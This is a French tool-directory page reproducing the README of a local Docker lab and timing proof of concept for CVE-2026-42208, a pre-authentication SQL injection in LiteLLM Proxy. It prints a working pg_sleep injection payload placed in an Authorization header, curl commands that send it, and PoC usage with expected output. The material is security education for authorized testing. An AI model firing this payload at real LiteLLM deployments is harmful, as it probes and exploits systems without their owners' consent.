Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-42208-Lab — Lab Docker local et preuve de concept basée sur le timing pour CVE-2026-42208, une injection SQL pré-authentification dans LiteLLM Proxy, démontrant les instances vulnérables par rapport aux instances corrigées. | Kitploit
Outils/GitHubGitHub/rootdirective-sec/cve-2026-42208-lab
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubrootdirective-sec/cve-2026-42208-lab

CVE-2026-42208-Lab

Lab Docker local et preuve de concept basée sur le timing pour CVE-2026-42208, une injection SQL pré-authentification dans LiteLLM Proxy, démontrant les instances vulnérables par rapport aux instances corrigées.

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-42208 — PoC temporel d'injection SQL pré-authentification LiteLLM

Laboratoire Docker local et PoC à impact minimal pour CVE-2026-42208, une vulnérabilité d'injection SQL pré-authentification dans le chemin de vérification des clés API du proxy LiteLLM.

Ce dépôt démontre la différence entre une instance LiteLLM vulnérable et une instance LiteLLM corrigée à l'aide d'une preuve temporelle PostgreSQL pg_sleep().

Périmètre : laboratoire local / tests autorisés uniquement. Le PoC par défaut ne vide pas les données de la base et ne modifie pas les données de la base.


Vue d'ensemble

CVE-2026-42208 affecte les versions 1.81.16 à 1.83.7 (exclue) du proxy LiteLLM.

La vulnérabilité est déclenchée via un en-tête Authorization: Bearer ... forgé envoyé à un point de terminaison API LiteLLM. Dans les versions affectées, le jeton fourni par l'appelant peut atteindre un chemin de requête SQL lors de la vérification de la clé API.

Ce laboratoire compare :

ServiceVersionURLRésultat attendu
vulnv1.83.6-nightlyhttp://127.0.0.1:8081réponse 401 retardée
patchedv1.83.7-stablehttp://127.0.0.1:8082réponse 401 rapide

La preuve utilise une charge utile similaire à :

root@kitploit:~
' OR (SELECT pg_sleep(6)) IS NULL --

Les deux services doivent renvoyer un HTTP 401, mais l'instance vulnérable doit prendre environ 6 secondes pour répondre tandis que l'instance corrigée doit répondre rapidement.


Structure du dépôt

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   ├── Dockerfile
│   └── config.yaml
├── patched/
│   ├── Dockerfile
│   └── config.yaml
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

Architecture du laboratoire

root@kitploit:~
localhost:8081  ->  LiteLLM vulnérable  ->  PostgreSQL db-vuln
localhost:8082  ->  LiteLLM corrigé     ->  PostgreSQL db-patched

Les services PostgreSQL sont des services Docker internes et ne sont pas exposés à l'hôte.

Seuls les ports HTTP LiteLLM sont exposés :

Port hôteServicePort conteneur
8081LiteLLM vulnérable4000
8082LiteLLM corrigé4000

Prérequis

  • Docker Desktop
  • Docker Compose v2
  • Python 3

Démarrer le laboratoire

root@kitploit:~
docker compose up -d --build

Vérifier l'état des services :

root@kitploit:~
docker compose ps

État attendu :

root@kitploit:~
db-vuln      healthy
db-patched   healthy
vuln         healthy
patched      healthy

Exécuter le PoC

Tester l'instance vulnérable :

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

Tester l'instance corrigée :

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8082

Options du PoC

root@kitploit:~
--url      URL de base cible
--path     Chemin API à tester. Défaut : /v1/chat/completions
--sleep    Secondes pour pg_sleep(). Défaut : 6
--rounds   Nombre de cycles de sondes. Défaut : 2

Exemples :

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions

Sortie attendue

Instance vulnérable :

root@kitploit:~
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2

[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'

[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'

[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation

Instance corrigée :

root@kitploit:~
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2

[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'

[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'

[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed

Preuve issue d'une exécution locale

Exemple de résultat de ce laboratoire :

root@kitploit:~
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s

vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s

L'observation importante est que les deux services renvoient 401, mais seul le service vulnérable retarde d'environ la durée de pg_sleep().


Pourquoi une preuve temporelle est utilisée

Ce dépôt utilise une preuve temporelle car elle est plus sûre que l'extraction de données.

Le PoC prouve que l'expression SQL injectée est évaluée en observant le délai de réponse. Il ne tente pas de vider les lignes de la base, d'extraire des clés API, de modifier des enregistrements ou de contourner l'authentification.


Vérification temporelle manuelle

Service vulnérable :

root@kitploit:~
time curl -sS -o /dev/null -w '%{http_code}\n' \
  -X POST http://127.0.0.1:8081/v1/chat/completions \
  -H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
  -H "Content-Type: application/json" \
  -d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'

Service corrigé :

root@kitploit:~
time curl -sS -o /dev/null -w '%{http_code}\n' \
  -X POST http://127.0.0.1:8082/v1/chat/completions \
  -H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
  -H "Content-Type: application/json" \
  -d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'

Comportement attendu :

root@kitploit:~
vulnérable -> environ 6 secondes
corrigé    -> réponse quasi immédiate

Nettoyage

root@kitploit:~
docker compose down -v

Cela supprime les conteneurs, le réseau et les volumes PostgreSQL.


Notes de sécurité

Ce laboratoire est destiné aux tests locaux et autorisés uniquement.

N'exécutez pas le PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation de tester.

N'utilisez pas de véritables clés API de fournisseur ni d'identifiants LiteLLM de production dans ce laboratoire.

Le PoC par défaut évite tout comportement destructeur et n'extrait pas le contenu de la base.


Références

  • Avis de sécurité GitHub : GHSA-r75f-5x8p-qvmc
  • NVD : CVE-2026-42208
  • Enregistrement CVE : CVE-2026-42208
  • Mise à jour de sécurité LiteLLM : CVE-2026-42208 dans le proxy LiteLLM
  • Bishop Fox : CVE-2026-42208 — Injection SQL pré-authentification dans le proxy LiteLLM
Télécharger l’outil